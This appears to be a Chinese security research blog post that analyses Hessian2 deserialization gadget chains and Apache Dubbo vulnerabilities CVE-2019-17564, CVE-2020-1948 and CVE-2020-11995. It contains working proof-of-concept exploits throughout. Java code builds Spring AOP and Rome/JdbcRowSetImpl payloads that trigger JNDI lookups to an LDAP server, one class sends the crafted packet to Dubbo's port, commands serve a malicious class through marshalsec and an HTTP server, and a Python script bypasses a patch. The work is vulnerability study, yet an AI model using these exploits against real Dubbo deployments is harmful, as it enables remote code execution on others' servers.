lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support) getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support) getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation) getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj) getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj) toString:151, AspectJAwareAdvisor***Creator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.***) equals:392, XString (com.sun.org.apache.xpath.internal.objects) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:87, SpringPartiallyComparableAdvisorHoldertest

SpringAbstractBeanFactoryPointcutAdvisor

构造分析

default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception { String jndiUrl = args[ 0 ]; return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl));
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
    bf.setShareableResources(jndiUrl);
    Reflections.setFieldValue(bf, "logger", new NoOpLog());
    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {
    DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
    pcadv.setBeanFactory(bf);
    pcadv.setAdviceBeanName(name); return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}

和前面差不多,再次不多做分析

利用分析

poc

import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.util.HashMap;

public class SpringAbstractBeanFactoryPointcutAdvisortest {
    public static void main(String[] args) throws Exception { String jndiUrl = "ldap://localhost:1389/obj";

        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //        bf DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
        pcadv.setBeanFactory(bf);
        pcadv.setAdviceBeanName(jndiUrl);
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null));
        Reflections.setFieldValue(s, "table", tbl);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject(); //        pcadv, new DefaultBeanFactoryPointcutAdvisor(); }
}

断点依旧打在 MapDeserializer 中,调用put方法,跟踪

public V put(K key, V value) { return putVal(hash(key), key, value, false, true);
    }
final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i; if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length; if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null); else {
            Node<K,V> e; K k; if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
public boolean equals(Object other) { if (this == other) { return true;
    } else if (!(other instanceof PointcutAdvisor)) { return false;
    } else {
        PointcutAdvisor otherAdvisor = (PointcutAdvisor)other; return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
    }
}
public Advice getAdvice() {
    Advice advice = this.advice; if (advice == null && this.adviceBeanName != null) {
        Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'"); if (this.beanFactory.isSingleton(this.adviceBeanName)) {
            advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);

这条链是借助调用getbean

public <T> T getBean(String name, Class<T> requiredType) throws BeansException { try { return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
        synchronized(this.singletonObjects) {
            Object jndiObject; if (this.singletonObjects.containsKey(name)) {
                jndiObject = this.singletonObjects.get(name); if (requiredType != null && !requiredType.isInstance(jndiObject)) { throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
                } else { return jndiObject;
                }
            } else {
                jndiObject = this.lookup(name, requiredType); this.singletonObjects.put(name, jndiObject); return jndiObject;
            }
        }
    }
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
        Assert.notNull(jndiName, "'jndiName' must not be null"); String convertedName = this.convertJndiName(jndiName); Object jndiObject; try {
            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
        Object jndiObject = this.lookup(name);
ublic Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]");
        } return this.execute(new JndiCallback<Object>() {
            public Object doInContext(Context ctx) throws NamingException { Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else { return located;
                }
            }
        });
    }
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
        Context ctx = this.getContext();

        Object var3; try {
            var3 = contextCallback.doInContext(ctx);
        } finally { this.releaseContext(ctx);
        } return var3;
    }
public Object lookup(final String name) throws NamingException { if (this.logger.isDebugEnabled()) { this.logger.debug("Looking up JNDI object with name [" + name + "]");
        } return this.execute(new JndiCallback<Object>() { public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name); if (located == null) { throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
                } else { return located;
                }
            }
        });
    }
lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support) getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support) equals:74, AbstractPointcutAdvisor (org.springframework.aop.support) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:59, SpringAbstractBeanFactoryPointcutAdvisortest

0x04 漏洞分析

CVE-2019-17564 漏洞分析

影响版本

  1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
  2. 2.6.0 <= Apache Dubbo <= 2.6.7
  3. Apache Dubbo = 2.5.x

漏洞调试

下载 https://github.com/apache/dubbo-samples ,提取 dubbo-samples-http 模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。

先看到 http-provider.xml 文件,该文件配置声明暴露服务。

<dubbo:application name="http-provider"/> <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/> <dubbo:protocol name="http" id="http" port="${servlet.port:8087}" server="${servlet.container:tomcat}"/> <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/> <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>

这里注册了 org.apache.dubbo.samples.http.api.DemoService 。

对 /org.apache.dubbo.samples.http.api.DemoService 接口发送payload,即gadget序列化数据,然后来到 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service 方法中,将所有请求都会走 DispatcherServlet 进行处理。

protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort()); if (handler == null) { response.sendError(404, "Service not found.");
        } else {
            handler.handle(request, response);
        }

    }

跟进 handler.handle(request, response);

来到 org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle

public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String uri = request.getRequestURI();
            HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri); if (!request.getMethod().equalsIgnoreCase("POST")) { response.setStatus(500);
            } else {
                RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());

                try {
                    skeleton.handleRequest(request, response);
                } catch (Throwable var6) {
                    throw new ServletException(var6);
                }
            }

这里是获取url中的类名,然后从 skeletonMap 中取值将对应的 HttpInvokerServiceExporter对象

跟进 skeleton.handleRequest(request, response);

来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try {
        RemoteInvocation invocation = this.readRemoteInvocation(request);
        RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy()); this.writeRemoteInvocationResult(request, response, result);
    } catch (ClassNotFoundException var5) { throw new NestedServletException("Class not found during deserialization", var5);
    }
}

跟进 this.readRemoteInvocation(request);

来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException { return this.readRemoteInvocation(request, request.getInputStream());
}

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));

    RemoteInvocation var4; try {
        var4 = this.doReadRemoteInvocation(ois);
    } finally {
        ois.close();
    } return var4;
}

this.doReadRemoteInvocation(ois);

org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation

protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        Object obj = ois.readObject(); if (!(obj instanceof RemoteInvocation)) { throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
        } else { return (RemoteInvocation)obj;
        }
    }

疑惑留存

HttpInvokerServiceExporter DispatcherServlet

DispatcherServlet注册

DispatcherServlet的注册逻辑在 org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer中。

内嵌的tomcat容器,给添加了servlet的注册

版本更新

对 skeletonMap 进行了修改,在获取 skeleton 之后就会调用 JsonRpcBasicServer.hanlde , JsonRpcBasicServer 是 JsonRpcServer 的父类,在该类中没有反序列化的危险操作。

CVE-2020-1948

漏洞简介

Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。

漏洞版本

Apache Dubbo 2.7.0 ~ 2.7.6

Apache Dubbo 2.6.0 ~ 2.6.7

Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

在实际测试中2.7.8仍旧可以打,而2.7.9失败

漏洞复现

修改 dubbo-samples/dubbo-samples-api/pom.xml

<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.8.0</version> </dependency>

更改dubbo版本为2.7.3

启动dubbo-samples-api项目

import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.net.Socket; import java.util.HashMap; import java.util.Random; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.dubbo.common.io.Bytes; import org.apache.dubbo.common.serialize.Cleanable; public class GadgetsTestHessian { public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl(); //todo 此处填写ldap url rs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header. byte[] header = new byte[16]; // set magic number. Bytes.short2bytes((short) 0xdabb, header); // set request and serialization flag. header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id. Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer(); if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口 Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

python -m http.server #挂载恶意类

poc对dubbo的端口,默认为20880进行发包

漏洞分析

断点打在 org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode

该位置通过调用 Object msg = NettyCodecAdapter.this.codec.decode(channel, message); ,从端口中接收序列化数据进行反序列化为一个Object对象。跟踪代码查看具体实现。

public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {
        int save = buffer.readerIndex();
        MultiMessage result = MultiMessage.create(); while(true) {
            Object obj = this.codec.decode(channel, buffer); if (DecodeResult.NEED_MORE_INPUT == obj) {
                buffer.readerIndex(save); if (result.isEmpty()) { return DecodeResult.NEED_MORE_INPUT;
                } else { return result.size() == 1 ? result.get(0) : result;
                }
            }

            result.addMessage(obj); this.logMessageLength(obj, buffer.readerIndex() - save);
            save = buffer.readerIndex();
        }
    }

继续跟踪 this.codec.decode(channel, buffer); 位置

public Object decode(Channel channel, ChannelBuffer buffer) throws IOException { int readable = buffer.readableBytes(); byte[] header = new byte[Math.min(readable, 16)];
        buffer.readBytes(header); return this.decode(channel, buffer, readable, header);
    }

来到 org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode

public Object decode(Channel channel, ChannelBuffer buffer) throws IOException { int readable = buffer.readableBytes(); byte[] header = new byte[Math.min(readable, 16)];
    buffer.readBytes(header); return this.decode(channel, buffer, readable, header);
}

调用 buffer.readableBytes 返回表示 ByteBuf 当前可读取的字节数,这里为670,是接受过来的序列化数据包的长度,Math.min(readable,16)则取两值中最小的值。作为byte数组的长度,并且调用 buffer.readBytes 读取该大小,这里是16,读取16个长度。

传递到this.decode进行调用

protected Object decode(Channel channel, ChannelBuffer buffer, int readable, byte[] header) throws IOException { int len; int i; if ((readable <= 0 || header[0] == MAGIC_HIGH) && (readable <= 1 || header[1] == MAGIC_LOW)) { if (readable < 16) { return DecodeResult.NEED_MORE_INPUT;
            } else { //获取数据的长度 len = Bytes.bytes2int(header, 12);
                checkPayload(channel, (long)len);
                i = len + 16; if (readable < i) { return DecodeResult.NEED_MORE_INPUT;
                } else {
                    ChannelBufferInputStream is = new ChannelBufferInputStream(buffer, len);

                    Object var8; try {
                        var8 = this.decodeBody(channel, is, header);

走到 var8 = this.decodeBody(channel, is, header); 跟进

一路执行来到下面这段代码中

in = CodecSupport.deserialize(channel.getUrl(), is, proto); 位置获取OutputSteam数据,跟踪查看

public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {
    Serialization s = getSerialization(url, proto); return s.deserialize(url, is);
}

getSerialization 位置跟进查看代码

url.getParameter("serialization", "hessian2"); 位置获取序列化的数据类型

返回到上一层方法走到 return s.deserialize(url, is); 位置

public ObjectInput deserialize(URL url, InputStream is) throws IOException { return new Hessian2ObjectInput(is);
}

实际上这里不是真正意义上的反序列化操作,而是将 is 的数据转换成一个 Hessian2ObjectInput 对象的实例。

走到这一步执行回到 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody 107行代码中

data = this.decodeEventData(channel, in);

至此到达Hession2的反序列化触发点。和前面调试的利用链对比 构造数据的时候多了一下代码

byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

其余都是一致的。

CVE-2020-11995

漏洞简介

Apache Dubbo默认反序列化协议Hessian2被曝存在代码执行漏洞,攻击者可利用漏洞构建一个恶意请求达到远程代码执行的目的

漏洞版本

Dubbo 2.7.0 ~ 2.7.8

Dubbo 2.6.0 ~ 2.6.8

Dubbo 所有 2.5.x 版本

if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) { throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());
                    }

                    pts = ReflectUtils.desc2classArray(desc);
                }
public static boolean isGenericCall(String path, String method) { return "$invoke".equals(method) || "$invokeAsync".equals(method);
    }
public static boolean isEcho(String path, String method) { return "$echo".equals(method);
    }

设置 method 等于 $invoke 或 $invokeAsync 、 $echo 即可绕过该补丁

from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/Exploit",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object( 'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
    method_name='$invoke',
    service_version='1.0.0',
    args=[toStringBean])

疑惑留存

在前面的构造的Java代码的poc中,即spring aop链或Rome链,能打2.7.8版本,并且没有走到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode 补丁处,而使用python该脚本时候则会走到补丁位置。

在请教了三梦师傅后,得知该补丁只是在 Xbean 利用链基础上进行了修复。导致其他利用链在2.7.8版本中依旧能使用。但从python代码中看着更像是Rome Gadget的构造。而在实际测试当中,XBean的Gadget确实走入到了补丁的逻辑处。

在此几个疑惑留存留到后面的dubbo源码分析中去解读结果尚未解决的疑惑点。

Dubbo的反序列化安全问题-Hessian2

dubbo源码浅析:默认反序列化利用之hessian2

Hessian 反序列化及相关利用链

0x05 结尾

天气冷了,注意保暖。共勉。

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